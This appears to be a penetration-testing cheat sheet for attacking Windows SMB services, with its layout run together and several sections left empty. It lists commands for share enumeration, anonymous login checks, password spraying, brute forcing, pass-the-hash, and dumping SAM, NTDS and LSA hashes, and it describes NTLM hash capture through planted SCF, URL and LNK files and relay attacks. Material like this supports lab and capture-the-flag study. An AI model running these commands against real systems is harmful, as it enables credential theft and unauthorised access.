139 , 445 SMB
Nmap Enumeration
nmap --script=smb-* -p 445 10.10.10.10 -o smb-enum.txtnmap --script=smb-enum-shares.nse -p 445 10.10.10.10 -o smb-enum.txtStage 0 - No Credentials [Listing shares]
nxc smb <target_ip> --shares
nxc smb --list-shares -t 10.10.11.11
nxc smb <target_ip> -u '' -p '' --sharessmbmap -H 10.10.10.10smbclient -L 10.10.10.10
smbclient -L //10.10.10.10 -NStage 1 - No Credentials [Checking Anonymous / Guest Login possible]
nxc smb 10.10.10.248 -u 'anonymous' -p ''
nxc smb <target_ip> -u 'guest' -p ''smbmap -u guest -H 10.10.10.192Stage 2 - Credentials Enumeration
User Enumeration
nxc smb $ip -u '' -p '' --usersPassword enumeration
nxc smb $ip -u username -p pass.txt --continue-on-successPassword Spray
nxc smb $ip -u users.txt -p NewIntelligenceCorpUser9876 --continue-on-successBrute Force
nxc smb 10.10.10.248 -u users.txt -p pass.txt --continue-on-success
#For HASH
nxc smb 10.10.10.248 -u users.txt -H hashes.txt --continue-on-successStage 3 - Authentication
Basic Auth (no password)
smbclient -N //10.10.10.123/DevelopmentBasic Auth
smbclient //<IP_Address>/<Share_Name> -U <Username>smbclient //10.10.10.123/Development
# or
smbclient '\\\\10.10.10.123\\Department shares'Domain Auth
smbclient //192.168.112.173/Apps -U laser.com/eric.wallows%EricLikesRunning800nxc smb --domain finance.corp --user john.doe --password P@ssw0rd123 -t 192.168.1.10kerberos Login
smbclient -k //<IP_Address>/<Share_Name>Using NTLM Hash [also known as PTH = pass-the-hash]
nxc smb <target_ip> -u <username> --hashes <LM:NT>Stage 4 - SMB Enumeration [Read ACCESS]
Download files
smb: \> RECURSE ON
smb: \> PROMPT OFF
smb: \> mget *Enumerate Logged-on-Users
nxc smb <target_ip> -u <username> -p <password> --loggedon-usersGPP Passwords
nxc smb <target_ip> -u <username> -p <password> --gppDump hashes
nxc smb <target_ip> -u <username> -p <password> --sam
nxc smb <target_ip> -u <username> -p <password> --ntds
nxc smb <target_ip> -u <username> -p <password> --lsaStage 5 - SMB File Upload [Read & Write ACCESS]
web shell / Reverse Shell
NTLM Hash Capture - [Phishing]
Try capturing NTLM hash by uploading SCF / URL / LNK files
URL file
SCF file
LNK file
Use tool to create any type of file to steal NTLM hash
NTLM Relay Atttack
In order to perform this attack, the victim must visit the SMB directory only then we are able to capture the hash.
create file
ip.txtincluding all the ip'scheck smb signing = false
Put all the ip's (or even single ip) in targets.txt and run below command
When user visit the SMB directory, we will get the hash.
Direct Execute commands
Last updated